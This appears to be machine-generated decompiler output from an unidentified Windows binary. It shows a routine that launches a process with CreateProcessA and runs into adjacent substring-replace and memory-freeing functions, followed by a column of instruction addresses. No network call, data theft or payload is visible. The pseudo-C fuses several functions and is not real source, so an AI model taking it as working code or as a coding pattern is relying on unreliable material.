				intOrPtr* _t392;
				signed int _t393;
				void* _t396;
				intOrPtr* _t404;
				signed int _t405;
				intOrPtr* _t409;
				signed int _t411;
				void* _t423;
				void* _t425;
				signed int _t426;
				void* _t427;
				signed int _t428;
				signed int* _t429;
				intOrPtr _t431;
				signed int* _t432;
				intOrPtr _t435;
				intOrPtr _t436;
				signed int* _t438;
				long _t442;
				long _t443;
				signed int _t444;
				signed int _t445;
				signed int _t447;
				intOrPtr* _t448;
				signed int _t451;
				signed int _t452;
				intOrPtr _t456;
				signed int _t457;
				signed int _t458;
				signed int _t460;
				signed int _t461;
				signed int _t468;
				signed int _t470;
				signed int _t472;
				intOrPtr* _t474;
				signed int _t476;
				signed int _t478;
				intOrPtr* _t479;
				signed int _t480;
				signed int _t482;
				intOrPtr* _t484;
				signed int _t486;
				signed int _t488;
				intOrPtr* _t489;
				signed int* _t493;
				signed int _t495;
				signed int _t496;
				signed int _t497;
				signed int* _t499;
				signed int _t501;
				signed int _t502;
				signed int* _t503;
				signed int _t506;
				intOrPtr _t508;
				signed int _t510;
				intOrPtr _t513;
				long* _t516;
				signed int _t518;
				signed int _t520;
				intOrPtr* _t521;
				intOrPtr* _t523;
				signed int _t524;
				intOrPtr _t528;
				signed int _t530;
				intOrPtr* _t531;
				void* _t532;
				intOrPtr* _t533;
				void* _t537;
				signed int _t538;
				void* _t541;
				intOrPtr* _t542;
				signed int _t543;
				signed int _t544;
				signed int _t545;
				signed int _t547;
				intOrPtr* _t548;
				signed int* _t549;
				signed int _t550;
				signed int _t551;
				signed int _t553;
				signed int _t554;
				intOrPtr* _t558;
				signed int _t561;
				signed int _t563;
				signed int _t565;
				signed int _t569;
				void* _t570;
				signed int _t572;
				signed int _t575;
				signed int* _t576;
				signed int _t580;
				signed int* _t581;
				intOrPtr _t584;

				_t561 = _t569;
				_push(0xffffffff);
				_push(0x12ff38);
				_push( *[fs:0x0]);
				_t570 = _t569 - 0x20;
				_t280 =  *0x16f170; // 0xd529e887
				_push(_t280 ^ _t561);
				 *[fs:0x0] =  &_v16;
				_t516 = __ecx;
				_t495 =  *(__ecx + 0x48);
				_t284 =  *( *(__ecx + 0x74));
				if(_t495 != 0) {
					L16:
					_t438 =  *( *(_t516[0x1d]) + 0x34);
					 *_t438 = _t495;
					_t438[1] = _t516[0x13];
					E00056420(_a4);
					goto L23;
				} else {
					if( *((intOrPtr*)(_t284 + 0x30)) == _t495 ||  *((intOrPtr*)(_t284 + 0x28)) != _t495) {
						__eflags =  *((intOrPtr*)(_t284 + 0x14)) - 0x10;
						_t442 = _t284;
						if( *((intOrPtr*)(_t284 + 0x14)) >= 0x10) {
							_t442 =  *_t284;
						}
						_t291 = _t284 + 0x18;
						_t516[0x1b] = _t442;
						__eflags =  *((intOrPtr*)(_t291 + 0x14)) - 0x10;
						if( *((intOrPtr*)(_t291 + 0x14)) >= 0x10) {
							_t291 =  *_t291;
						}
						_t516[0x1a] = _t291;
						__eflags = _t495;
						if(_t495 == 0) {
							goto L6;
						} else {
							goto L16;
						}
					} else {
						if( *((intOrPtr*)(_t284 + 0x14)) >= 0x10) {
							_t284 =  *_t284;
						}
						_t516[0x1a] = _t284;
						L6:
						_t293 = CreateProcessA(_t516[0x1b], _t516[0x1a], _t516[0x16], _t516[0x17], _t516[0x18],  *_t516, _t516[0x1c], _t516[0x19],  &(_t516[1]),  &(_t516[0x1e]));
						asm("movups xmm0, [esi]");
						_t443 = _t516[0x15];
						_v20 = _t293;
						asm("movups [ebp-0x2c], xmm0");
						if(_t443 != 0) {
							asm("lock inc dword [ecx+0x4]");
							_t443 = _t516[0x15];
						}
						_v32 = _t516[0x14];
						_v28 = _t443;
						_v24 = 1;
						_v8 = 0;
						_t537 = CloseHandle;
						CloseHandle(0xffffffff);
						CloseHandle(0xffffffff);
						_push(0x17a3a0);
						_push(E000735B0);
						_push(0x17a40c);
						if(_v20 == 0) {
							_t297 = E000D7269();
							_t572 = _t570 + 0xc;
							__eflags = _t297;
							if(_t297 == 0) {
								goto L25;
							} else {
								_t516[0x12] = GetLastError();
								goto L19;
							}
						} else {
							_t516[0x12] = 0;
							_t423 = E000D7269();
							_t572 = _t570 + 0xc;
							if(_t423 == 0) {
								E0010F5C4(_t425, _t443, _t495, _t516);
								L25:
								_t298 = E0010F5C4(_t425, _t443, _t495, _t516);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_t444 =  *(_t443 + 0xc);
								_push(_t516);
								_t518 = _t444;
								__eflags = _t518;
								if(_t518 == 0) {
									L36:
									return _t298;
								} else {
									_push(_t537);
									_t538 =  *_t518;
									__eflags = _t538;
									if(_t538 == 0) {
										L35:
										_push(0x14);
										_t298 = E000ED2D0(_t518);
										goto L36;
									} else {
										_push(_t425);
										_t426 =  *(_t518 + 4);
										__eflags = _t538 - _t426;
										if(_t538 != _t426) {
											do {
												_t52 = _t538 + 4; // 0x7757ea1c
												E00053860(_t52);
												_t538 = _t538 + 8;
												__eflags = _t538 - _t426;
											} while (_t538 != _t426);
											_t538 =  *_t518;
										}
										_t301 =  *(_t518 + 8) - _t538 & 0xfffffff8;
										_pop(_t427);
										__eflags = _t301 - 0x1000;
										if(_t301 < 0x1000) {
											L34:
											_push(_t301);
											E000ED2D0(_t538);
											 *_t518 = 0;
											_t572 = _t572 + 8;
											 *(_t518 + 4) = 0;
											 *(_t518 + 8) = 0;
											goto L35;
										} else {
											_t445 =  *(_t538 - 4);
											_t301 = _t301 + 0x23;
											_t541 = _t538 - _t445 + 0xfffffffc;
											__eflags = _t541 - 0x1f;
											if(__eflags > 0) {
												E0010F44B(_t427, _t445, _t495, _t518, __eflags);
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												_push(_t561);
												_t563 = _t572;
												_push(0xffffffff);
												_push(0x12ffc8);
												_push( *[fs:0x0]);
												_push(_t427);
												_push(_t541);
												_push(_t518);
												_t305 =  *0x16f170; // 0xd529e887
												_push(_t305 ^ _t563);
												 *[fs:0x0] =  &_v84;
												_v88 = _t445;
												_t520 = _v44;
												_t542 = _v40;
												_t428 = _v36;
												_push(8);
												_v96 = _v32;
												_v136 = 0;
												_v132 = 0;
												_v128 = 0;
												_v124 = 0;
												_v120 = 0;
												_t309 = E000ECF08(_t542, __eflags);
												_v136 = _t309;
												_t575 = _t572 - 0x38 + 4;
												 *_t309 = 0;
												_t309[1] = 0;
												 *_v136 =  &_v136;
												_t496 = _v88;
												_t311 = _t496;
												_v76 = 0;
												_v92 = _t496;
												__eflags =  *((intOrPtr*)(_t496 + 0x14)) - 0x10;
												if(__eflags >= 0) {
													_t311 =  *_t496;
													_v28 =  *_t496;
												}
												_t447 = _t496;
												if(__eflags >= 0) {
													_t447 =  *_t496;
												}
												__eflags = _t520 - _t542;
												if(_t520 != _t542) {
													while(1) {
														L43:
														E000882E0( &_v40,  &_v72, _t447, _t311, _t447, _t520);
														_push(_v32);
														_t513 = _v60 + _v56;
														_push(_t428);
														_t575 = _t575 - 0xc;
														_v28 = _v40;
														_t404 = _t542;
														_t486 = _t575;
														_v36 = _t404;
														_t533 = _t404;
														_t405 = _v72;
														 *_t486 = 0;
														 *(_t486 + 4) = 0;
														__eflags = _t405;
														if(_t405 != 0) {
															_t411 =  *_t405;
															__eflags = _t411;
															if(_t411 != 0) {
																 *_t486 =  *_t411;
															}
														}
														 *((intOrPtr*)(_t486 + 8)) = _t513;
														_push( &_v52);
														E00088430();
														_t496 = _v24;
														_t488 = _t496;
														__eflags =  *((intOrPtr*)(_t496 + 0x14)) - 0x10;
														if( *((intOrPtr*)(_t496 + 0x14)) >= 0x10) {
															_t488 =  *_t496;
														}
														_t93 = _t496 + 0x10; // 0x1df4b8ff
														_t409 =  *_t93 + _t488;
														__eflags = _t533 - _t409;
														if(_t533 == _t409) {
															goto L59;
														}
														_t436 = _a4;
														_t489 = _v0;
														while(1) {
															__eflags = _t489 - _t436;
															if(_t489 == _t436) {
																break;
															}
															_t542 = _t533;
															__eflags = _t533 - _t409;
															if(_t533 == _t409) {
																L56:
																__eflags = _t489 - _t436;
																if(_t489 == _t436) {
																	goto L62;
																} else {
																	_t489 = _v0;
																	_t533 = _t533 + 1;
																	__eflags = _t533 - _t409;
																	if(_t533 != _t409) {
																		continue;
																	} else {
																		_t496 = _v24;
																		goto L59;
																	}
																}
															} else {
																asm("o16 nop [eax+eax]");
																while(1) {
																	__eflags = _t489 - _t436;
																	if(_t489 == _t436) {
																		break;
																	}
																	__eflags =  *_t542 -  *_t489;
																	if( *_t542 !=  *_t489) {
																		goto L56;
																	} else {
																		_t542 = _t542 + 1;
																		_t489 = _t489 + 1;
																		__eflags = _t542 - _t409;
																		if(_t542 != _t409) {
																			continue;
																		} else {
																			goto L56;
																		}
																	}
																	goto L64;
																}
																L62:
																_t496 = _v24;
																L60:
																__eflags = _t520 - _t542;
																if(_t520 != _t542) {
																	_t428 = _a12;
																	_t447 = _v36;
																	_v32 = _a16;
																	_t311 = _v28;
																	goto L43;
																}
															}
															L64:
															_t447 = _v36;
															goto L65;
														}
														_t496 = _v24;
														goto L64;
														L59:
														_t520 = _t409;
														_t542 = _t409;
														goto L60;
													}
												}
												L65:
												__eflags =  *((intOrPtr*)(_t496 + 0x14)) - 0x10;
												_t543 = _t496;
												if( *((intOrPtr*)(_t496 + 0x14)) >= 0x10) {
													_t543 =  *_t496;
												}
												_t107 = _t496 + 0x10; // 0x1df4b8ff
												_t108 = _t496 + 0x10; // 0x12ffd8
												_t429 = _t108;
												E000882E0( &_v40,  &_v72, _t447, _v28, _t447,  *_t107 + _t543);
												_t497 = _v56;
												__eflags = _t497;
												if(_t497 != 0) {
													_t521 = _v24;
													_t448 = _t521;
													__eflags =  *((intOrPtr*)(_t521 + 0x14)) - 0x10;
													if( *((intOrPtr*)(_t521 + 0x14)) >= 0x10) {
														_t448 =  *_t521;
													}
													_t317 =  *_t429;
													_t576 = _t575 - 0xc;
													_t429 = _v60;
													_t318 = _t317 + _t448;
													_t544 = _v72;
													_v40 = _t429 + _t497;
													_t499 = _t576;
													 *_t499 = 0;
													_t499[1] = 0;
													__eflags = _t544;
													if(_t544 != 0) {
														_t482 =  *_t544;
														__eflags = _t482;
														if(_t482 != 0) {
															 *_t499 =  *_t482;
														}
													}
													_t575 = _t576 - 0xc;
													_t499[2] = _v40;
													_t500 = _t575;
													 *_t500 = 0;
													 *(_t500 + 4) = 0;
													__eflags = _t544;
													if(_t544 != 0) {
														_t480 =  *_t544;
														__eflags = _t480;
														if(_t480 != 0) {
															 *_t500 =  *_t480;
														}
													}
													_push(_t318);
													 *(_t500 + 8) = _t429;
													E00088820(_t521,  &_v40);
													goto L85;
												} else {
													_t392 = _v24;
													_t558 = _t392;
													_t114 = _t392 + 0x14; // 0xc5e90016
													_t452 =  *_t114;
													__eflags = _t452 - 0x10;
													if(__eflags >= 0) {
														_t558 =  *_t392;
													}
													_t500 =  *_t429;
													_v36 = _t392;
													_t521 = _t500 + _t558;
													if(__eflags >= 0) {
														_v36 =  *_t392;
													}
													_t393 = _v40;
													_t547 = _t393 - _v36;
													__eflags = _t500 - _t547;
													if(_t500 < _t547) {
														E0006AE60(_t452, _t521);
														goto L101;
													} else {
														_t532 = _t521 - _t393;
														_t396 = _t500 - _t547;
														__eflags = _t396 - _t532;
														_t521 =  <  ? _t396 : _t532;
														__eflags = _t452 - 0x10;
														_t484 = _v24;
														if(_t452 >= 0x10) {
															_t484 =  *_t484;
														}
														_t510 = _t500 - _t521;
														 *_t429 = _t510;
														_t500 = _t510 - _t547 + 1;
														E00104E60(_t484 + _t547, _t484 + _t547 + _t521, _t510 - _t547 + 1);
														_t575 = _t575 + 0xc;
														L85:
														_t451 = _v56;
														__eflags = _t451;
														if(_t451 != 0) {
															_t391 = _v60;
															do {
																_t451 = _t451 - 1;
																_t500 = 0;
																_t391 =  ==  ? 0 : _t391;
																__eflags = _t451;
															} while (_t451 != 0);
															_v60 = _t391;
															_v56 = _t451;
														}
														_t545 = _v64;
														_t452 = _v68;
														__eflags = _t545;
														if(_t545 != 0) {
															do {
																_t389 =  *(_t452 + _t545 * 4 - 4);
																_t545 = _t545 - 1;
																__eflags = _t389;
																if(_t389 != 0) {
																	_push(0x10);
																	E000ED2D0(_t389);
																	_t452 = _v68;
																	_t575 = _t575 + 8;
																}
																__eflags = _t545;
															} while (_t545 != 0);
															_t545 = _v64;
														}
														__eflags = _t452;
														if(_t452 == 0) {
															L99:
															_push(8);
															_v64 = 0;
															_v68 = 0;
															_t321 = E000ED2D0(_v72);
															 *[fs:0x0] = _v20;
															return _t321;
														} else {
															_t547 = _t545 << 2;
															_t322 = _t452;
															__eflags = _t547 - 0x1000;
															if(_t547 < 0x1000) {
																L98:
																_push(_t547);
																E000ED2D0(_t452);
																_t575 = _t575 + 8;
																goto L99;
															} else {
																_t452 =  *(_t452 - 4);
																_t547 = _t547 + 0x23;
																__eflags = _t322 - _t452 + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	L101:
																	E0010F44B(_t429, _t452, _t500, _t521, __eflags);
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	_push(_t563);
																	_t565 = _t575;
																	_push(0xffffffff);
																	_push(0x12fff8);
																	_push( *[fs:0x0]);
																	_push(_t429);
																	_push(_t547);
																	_push(_t521);
																	_t328 =  *0x16f170; // 0xd529e887
																	_push(_t328 ^ _t565);
																	 *[fs:0x0] =  &_v200;
																	_v204 = _t452;
																	_t523 = _v160;
																	_t548 = _v156;
																	_t431 = _v152;
																	_push(8);
																	_v212 = _v148;
																	_v256 = 0;
																	_v252 = 0;
																	_v248 = 0;
																	_v244 = 0;
																	_v240 = 0;
																	_t332 = E000ECF08(_t548, __eflags);
																	_v256 = _t332;
																	_t580 = _t575 - 0x38 + 4;
																	 *_t332 = 0;
																	_t332[1] = 0;
																	 *_v256 =  &_v256;
																	_t501 = _v204;
																	_t334 = _t501;
																	_v192 = 0;
																	_v208 = _t501;
																	_t456 =  *((intOrPtr*)(_t501 + 0x14));
																	_v220 = _t456;
																	__eflags = _t456 - 8;
																	if(_t456 >= 8) {
																		_t334 =  *_t501;
																		_v32 =  *_t501;
																	}
																	__eflags =  *((intOrPtr*)(_t501 + 0x14)) - 8;
																	_t457 = _t501;
																	if( *((intOrPtr*)(_t501 + 0x14)) >= 8) {
																		_t457 =  *_t501;
																	}
																	__eflags = _t523 - _t548;
																	if(_t523 != _t548) {
																		while(1) {
																			L107:
																			E00088990( &_v48,  &_v80, _t457, _t334, _t457, _t523);
																			_push(_v36);
																			_t508 = _v68 + _v64;
																			_push(_t431);
																			_t580 = _t580 - 0xc;
																			_v32 = _v48;
																			_t379 = _t548;
																			_t476 = _t580;
																			_v40 = _t379;
																			_t531 = _t379;
																			_t380 = _v80;
																			 *_t476 = 0;
																			 *(_t476 + 4) = 0;
																			__eflags = _t380;
																			if(_t380 != 0) {
																				_t387 =  *_t380;
																				__eflags = _t387;
																				if(_t387 != 0) {
																					 *_t476 =  *_t387;
																				}
																			}
																			 *((intOrPtr*)(_t476 + 8)) = _t508;
																			_push( &_v60);
																			E00088AE0();
																			_t501 = _v28;
																			_t478 = _t501;
																			_t383 =  *((intOrPtr*)(_t501 + 0x14));
																			_v44 = _t383;
																			__eflags = _t383 - 8;
																			if(_t383 >= 8) {
																				_t478 =  *_t501;
																			}
																			_t385 = _t478 +  *(_t501 + 0x10) * 2;
																			__eflags = _t531 - _t385;
																			if(_t531 == _t385) {
																				goto L123;
																			}
																			_t435 = _v0;
																			_t479 = _v4;
																			while(1) {
																				__eflags = _t479 - _t435;
																				if(_t479 == _t435) {
																					break;
																				}
																				_t548 = _t531;
																				__eflags = _t531 - _t385;
																				if(_t531 == _t385) {
																					L120:
																					__eflags = _t479 - _t435;
																					if(_t479 == _t435) {
																						goto L126;
																					} else {
																						_t479 = _v4;
																						_t531 = _t531 + 2;
																						__eflags = _t531 - _t385;
																						if(_t531 != _t385) {
																							continue;
																						} else {
																							_t501 = _v28;
																							goto L123;
																						}
																					}
																				} else {
																					asm("o16 nop [eax+eax]");
																					while(1) {
																						__eflags = _t479 - _t435;
																						if(_t479 == _t435) {
																							break;
																						}
																						__eflags =  *_t548 -  *_t479;
																						if( *_t548 !=  *_t479) {
																							goto L120;
																						} else {
																							_t548 = _t548 + 2;
																							_t479 = _t479 + 2;
																							__eflags = _t548 - _t385;
																							if(_t548 != _t385) {
																								continue;
																							} else {
																								goto L120;
																							}
																						}
																						goto L128;
																					}
																					L126:
																					_t501 = _v28;
																					L124:
																					__eflags = _t523 - _t548;
																					if(_t523 != _t548) {
																						_t431 = _a8;
																						_t457 = _v40;
																						_v36 = _a12;
																						_t334 = _v32;
																						goto L107;
																					}
																				}
																				L128:
																				_t457 = _v40;
																				goto L129;
																			}
																			_t501 = _v28;
																			goto L128;
																			L123:
																			_t523 = _t385;
																			_t548 = _t385;
																			goto L124;
																		}
																	}
																	L129:
																	__eflags = _v44 - 8;
																	_t549 = _v28;
																	if(_v44 >= 8) {
																		_t501 =  *_t549;
																	}
																	_t432 =  &(_t549[4]);
																	E00088990( &_v48,  &_v80, _t457, _v32, _t457, _t501 + _t549[4] * 2);
																	_t502 = _v64;
																	__eflags = _t502;
																	if(_t502 != 0) {
																		__eflags = _t549[5] - 8;
																		_t458 = _t549;
																		if(_t549[5] >= 8) {
																			_t458 =  *_t549;
																		}
																		_t524 = _v68;
																		_t581 = _t580 - 0xc;
																		_t340 =  *_t432;
																		_t550 = _v80;
																		_t432 = _t524 + _t502;
																		_t503 = _t581;
																		_t341 = _t458 + _t340 * 2;
																		 *_t503 = 0;
																		_t503[1] = 0;
																		__eflags = _t550;
																		if(_t550 != 0) {
																			_t472 =  *_t550;
																			__eflags = _t472;
																			if(_t472 != 0) {
																				 *_t503 =  *_t472;
																			}
																		}
																		_t503[2] = _t432;
																		_t580 = _t581 - 0xc;
																		_t504 = _t580;
																		 *_t504 = 0;
																		 *(_t504 + 4) = 0;
																		__eflags = _t550;
																		if(_t550 != 0) {
																			_t470 =  *_t550;
																			__eflags = _t470;
																			if(_t470 != 0) {
																				 *_t504 =  *_t470;
																			}
																		}
																		_push(_t341);
																		 *(_t504 + 8) = _t524;
																		_push( &_v48);
																		E00088EE0(_t432, _v28, _t524, _t550);
																		goto L149;
																	} else {
																		_t461 = _t549[5];
																		_t366 = _t549;
																		__eflags = _t461 - 8;
																		if(__eflags >= 0) {
																			_t366 =  *_t549;
																		}
																		_t504 =  *_t432;
																		_v44 = _t549;
																		_t524 = _t366 + _t504 * 2;
																		if(__eflags >= 0) {
																			_v44 =  *_t549;
																		}
																		_t367 = _v48;
																		_t553 = _t367 - _v44 >> 1;
																		__eflags = _t504 - _t553;
																		if(_t504 < _t553) {
																			E0006AE60(_t461, _t524);
																			goto L164;
																		} else {
																			_t530 = _t524 - _t367 >> 1;
																			_t370 = _t504 - _t553;
																			__eflags = _t370 - _t530;
																			_t524 =  <  ? _t370 : _t530;
																			__eflags = _t461 - 8;
																			_t474 = _v28;
																			if(_t461 >= 8) {
																				_t474 =  *_t474;
																			}
																			_t506 = _t504 - _t524;
																			 *_t432 = _t506;
																			_t504 = _t506 - _t553;
																			E00104E60(_t474 + _t553 * 2, _t474 + _t553 * 2 + _t524 * 2, 2 + (_t506 - _t553) * 2);
																			_t580 = _t580 + 0xc;
																			L149:
																			_t460 = _v64;
																			__eflags = _t460;
																			if(_t460 != 0) {
																				_t365 = _v68;
																				do {
																					_t460 = _t460 - 1;
																					_t504 = 0;
																					_t365 =  ==  ? 0 : _t365;
																					__eflags = _t460;
																				} while (_t460 != 0);
																				_v68 = _t365;
																				_v64 = _t460;
																			}
																			_t551 = _v72;
																			_t461 = _v76;
																			__eflags = _t551;
																			if(_t551 != 0) {
																				do {
																					_t363 =  *(_t461 + _t551 * 4 - 4);
																					_t551 = _t551 - 1;
																					__eflags = _t363;
																					if(_t363 != 0) {
																						_push(0x10);
																						E000ED2D0(_t363);
																						_t461 = _v76;
																						_t580 = _t580 + 8;
																					}
																					__eflags = _t551;
																				} while (_t551 != 0);
																				_t551 = _v72;
																			}
																			__eflags = _t461;
																			if(_t461 == 0) {
																				L162:
																				_push(8);
																				_v72 = 0;
																				_v76 = 0;
																				_t344 = E000ED2D0(_v80);
																				 *[fs:0x0] = _v24;
																				return _t344;
																			} else {
																				_t553 = _t551 << 2;
																				_t345 = _t461;
																				__eflags = _t553 - 0x1000;
																				if(_t553 < 0x1000) {
																					L161:
																					_push(_t553);
																					E000ED2D0(_t461);
																					_t580 = _t580 + 8;
																					goto L162;
																				} else {
																					_t461 =  *(_t461 - 4);
																					_t553 = _t553 + 0x23;
																					__eflags = _t345 - _t461 + 0xfffffffc - 0x1f;
																					if(__eflags > 0) {
																						L164:
																						E0010F44B(_t432, _t461, _t504, _t524, __eflags);
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						asm("int3");
																						_push(_t565);
																						_push(0xffffffff);
																						_push(0x130020);
																						_push( *[fs:0x0]);
																						_t584 = _t580 - 0xc;
																						_push(_t432);
																						_push(_t553);
																						_push(_t524);
																						_t351 =  *0x16f170; // 0xd529e887
																						_push(_t351 ^ _t580);
																						 *[fs:0x0] =  &_v288;
																						_v292 = _t584;
																						_t554 = _t461;
																						_v300 = _t554;
																						_v280 = 0;
																						_t354 = _v268;
																						asm("o16 nop [eax+eax]");
																						while(1) {
																							__eflags = _t354 - _v0;
																							if(_t354 == _v0) {
																								break;
																							}
																							_t355 = E00070750(_t432, _t504, _v4);
																							_t584 = _t584 + 4;
																							_t356 =  *((intOrPtr*)( *((intOrPtr*)( *_t355 + 0x28))))( *_t354 & 0x0000ffff);
																							_t468 =  *(_t554 + 0x10);
																							_t528 =  *((intOrPtr*)(_t554 + 0x14));
																							_t504 = _t356 & 0x0000ffff;
																							__eflags = _t468 - _t528;
																							if(_t468 >= _t528) {
																								_push(_t504);
																								_v36 = 0;
																								_push(_v36);
																								_push(1);
																								E0006FD60(_t432, _t554, _t528);
																								_t354 = _v8 + 2;
																								_v8 = _t354;
																							} else {
																								 *(_t554 + 0x10) = _t468 + 1;
																								_t361 = _t554;
																								__eflags = _t528 - 8;
																								if(_t528 >= 8) {
																									_t361 =  *_t554;
																								}
																								 *(_t361 + _t468 * 2) = _t504;
																								_t504 = 0;
																								 *((short*)(_t361 + 2 + _t468 * 2)) = 0;
																								_t354 = _v8 + 2;
																								_v8 = _t354;
																							}
																						}
																						 *[fs:0x0] = _v28;
																						return _t354;
																					} else {
																						goto L161;
																					}
																				}
																			}
																		}
																	}
																} else {
																	goto L98;
																}
															}
														}
													}
												}
											} else {
												_t538 = _t445;
												goto L34;
											}
										}
									}
								}
							} else {
								L19:
								_t516[0x13] = 0x17a3a0;
								if(_t516[0x12] == 0) {
									E000563C0(_a4,  &_v48);
								} else {
									_t493 =  *( *(_t516[0x1d]) + 0x34);
									 *_t493 = _t516[0x12];
									_t493[1] = _t516[0x13];
									E00056420(_a4);
								}
								E000564C0( &_v48);
								L23:
								 *[fs:0x0] = _v16;
								return _a4;
							}
						}
					}
				}
			}

0x0007ea31
0x0007ea33
0x0007ea35
0x0007ea40
0x0007ea41
0x0007ea46
0x0007ea4d
0x0007ea51
0x0007ea57
0x0007ea5c
0x0007ea5f
0x0007ea63
0x0007eb38
0x0007eb3d
0x0007eb42
0x0007eb47
0x0007eb4d
0x00000000
0x0007ea69
0x0007ea6c
0x0007eb15
0x0007eb19
0x0007eb1b
0x0007eb1d
0x0007eb1d
0x0007eb1f
0x0007eb22
0x0007eb25
0x0007eb29
0x0007eb2b
0x0007eb2b
0x0007eb2d
0x0007eb30
0x0007eb32
0x00000000
0x00000000
0x00000000
0x00000000
0x0007ea7b
0x0007ea7f
0x0007ea81
0x0007ea81
0x0007ea83
0x0007ea86
0x0007eaa5
0x0007eaab
0x0007eaae
0x0007eab1
0x0007eab4
0x0007eaba
0x0007eabc
0x0007eac0
0x0007eac0
0x0007eac6
0x0007eac9
0x0007eacc
0x0007ead2
0x0007ead9
0x0007eae1
0x0007eae5
0x0007eaeb
0x0007eaf0
0x0007eaf5
0x0007eafa
0x0007eb54
0x0007eb59
0x0007eb5c
0x0007eb5e
0x00000000
0x0007eb60
0x0007eb66
0x00000000
0x0007eb66
0x0007eafc
0x0007eafc
0x0007eb03
0x0007eb08
0x0007eb0d
0x0007ebbd
0x0007ebc2
0x0007ebc2
0x0007ebc7
0x0007ebc8
0x0007ebc9
0x0007ebca
0x0007ebcb
0x0007ebcc
0x0007ebcd
0x0007ebce
0x0007ebcf
0x0007ebd0
0x00080ab0
0x00080ab1
0x00080ab3
0x00080ab5
0x00080b23
0x00080b24
0x00080ab7
0x00080ab7
0x00080ab8
0x00080aba
0x00080abc
0x00080b17
0x00080b17
0x00080b1a
0x00000000
0x00080abe
0x00080abe
0x00080abf
0x00080ac2
0x00080ac4
0x00080ac6
0x00080ac6
0x00080ac9
0x00080ace
0x00080ad1
0x00080ad1
0x00080ad5
0x00080ad5
0x00080adc
0x00080adf
0x00080ae0
0x00080ae5
0x00080af9
0x00080af9
0x00080afb
0x00080b00
0x00080b06
0x00080b09
0x00080b10
0x00000000
0x00080ae7
0x00080ae7
0x00080aea
0x00080aef
0x00080af2
0x00080af5
0x00080b25
0x00080b2a
0x00080b2b
0x00080b2c
0x00080b2d
0x00080b2e
0x00080b2f
0x00080b30
0x00080b31
0x00080b33
0x00080b35
0x00080b40
0x00080b44
0x00080b45
0x00080b46
0x00080b47
0x00080b4e
0x00080b52
0x00080b58
0x00080b5e
0x00080b61
0x00080b64
0x00080b67
0x00080b69
0x00080b6c
0x00080b73
0x00080b7a
0x00080b81
0x00080b88
0x00080b8f
0x00080b94
0x00080b9a
0x00080b9d
0x00080ba3
0x00080bad
0x00080baf
0x00080bb2
0x00080bb4
0x00080bbb
0x00080bbe
0x00080bc2
0x00080bc4
0x00080bc6
0x00080bc6
0x00080bc9
0x00080bcb
0x00080bcd
0x00080bcd
0x00080bcf
0x00080bd1
0x00080bd7
0x00080bd7
0x00080be3
0x00080be8
0x00080bf1
0x00080bf4
0x00080bf5
0x00080bf8
0x00080bfb
0x00080bfd
0x00080bff
0x00080c02
0x00080c04
0x00080c07
0x00080c0d
0x00080c14
0x00080c16
0x00080c18
0x00080c1a
0x00080c1c
0x00080c20
0x00080c20
0x00080c1c
0x00080c25
0x00080c28
0x00080c2c
0x00080c31
0x00080c34
0x00080c36
0x00080c3a
0x00080c3c
0x00080c3c
0x00080c3e
0x00080c41
0x00080c43
0x00080c45
0x00000000
0x00000000
0x00080c47
0x00080c4a
0x00080c50
0x00080c50
0x00080c52
0x00000000
0x00000000
0x00080c54
0x00080c56
0x00080c58
0x00080c70
0x00080c70
0x00080c72
0x00000000
0x00080c74
0x00080c74
0x00080c77
0x00080c78
0x00080c7a
0x00000000
0x00080c7c
0x00080c7c
0x00000000
0x00080c7c
0x00080c7a
0x00080c5a
0x00080c5a
0x00080c60
0x00080c60
0x00080c62
0x00000000
0x00000000
0x00080c66
0x00080c68
0x00000000
0x00080c6a
0x00080c6a
0x00080c6b
0x00080c6c
0x00080c6e
0x00000000
0x00000000
0x00000000
0x00000000
0x00080c6e
0x00000000
0x00080c68
0x00080c9b
0x00080c9b
0x00080c83
0x00080c83
0x00080c85
0x00080c8a
0x00080c8d
0x00080c90
0x00080c93
0x00000000
0x00080c93
0x00080c85
0x00080ca3
0x00080ca3
0x00000000
0x00080ca3
0x00080ca0
0x00000000
0x00080c7f
0x00080c7f
0x00080c81
0x00000000
0x00080c81
0x00080bd7
0x00080ca6
0x00080ca6
0x00080caa
0x00080cac
0x00080cae
0x00080cae
0x00080cb0
0x00080cb3
0x00080cb3
0x00080cc6
0x00080ccb
0x00080cce
0x00080cd0
0x00080d2e
0x00080d31
0x00080d33
0x00080d37
0x00080d39
0x00080d39
0x00080d3b
0x00080d3d
0x00080d40
0x00080d43
0x00080d45
0x00080d4a
0x00080d4d
0x00080d4f
0x00080d55
0x00080d5c
0x00080d5e
0x00080d60
0x00080d62
0x00080d64
0x00080d68
0x00080d68
0x00080d64
0x00080d6d
0x00080d70
0x00080d73
0x00080d75
0x00080d7b
0x00080d82
0x00080d84
0x00080d86
0x00080d88
0x00080d8a
0x00080d8e
0x00080d8e
0x00080d8a
0x00080d90
0x00080d94
0x00080d9a
0x00000000
0x00080cd2
0x00080cd2
0x00080cd5
0x00080cd7
0x00080cd7
0x00080cda
0x00080cdd
0x00080cdf
0x00080cdf
0x00080ce1
0x00080ce3
0x00080ce6
0x00080ce9
0x00080ced
0x00080ced
0x00080cf0
0x00080cf5
0x00080cf8
0x00080cfa
0x00080e46
0x00000000
0x00080d00
0x00080d00
0x00080d04
0x00080d06
0x00080d08
0x00080d0b
0x00080d0e
0x00080d11
0x00080d13
0x00080d13
0x00080d15
0x00080d19
0x00080d1d
0x00080d24
0x00080d29
0x00080d9f
0x00080d9f
0x00080da2
0x00080da4
0x00080da6
0x00080db0
0x00080db0
0x00080db3
0x00080db8
0x00080dbb
0x00080dbb
0x00080dbf
0x00080dc2
0x00080dc2
0x00080dc5
0x00080dc8
0x00080dcb
0x00080dcd
0x00080dd0
0x00080dd0
0x00080dd4
0x00080dd5
0x00080dd7
0x00080dd9
0x00080ddc
0x00080de1
0x00080de4
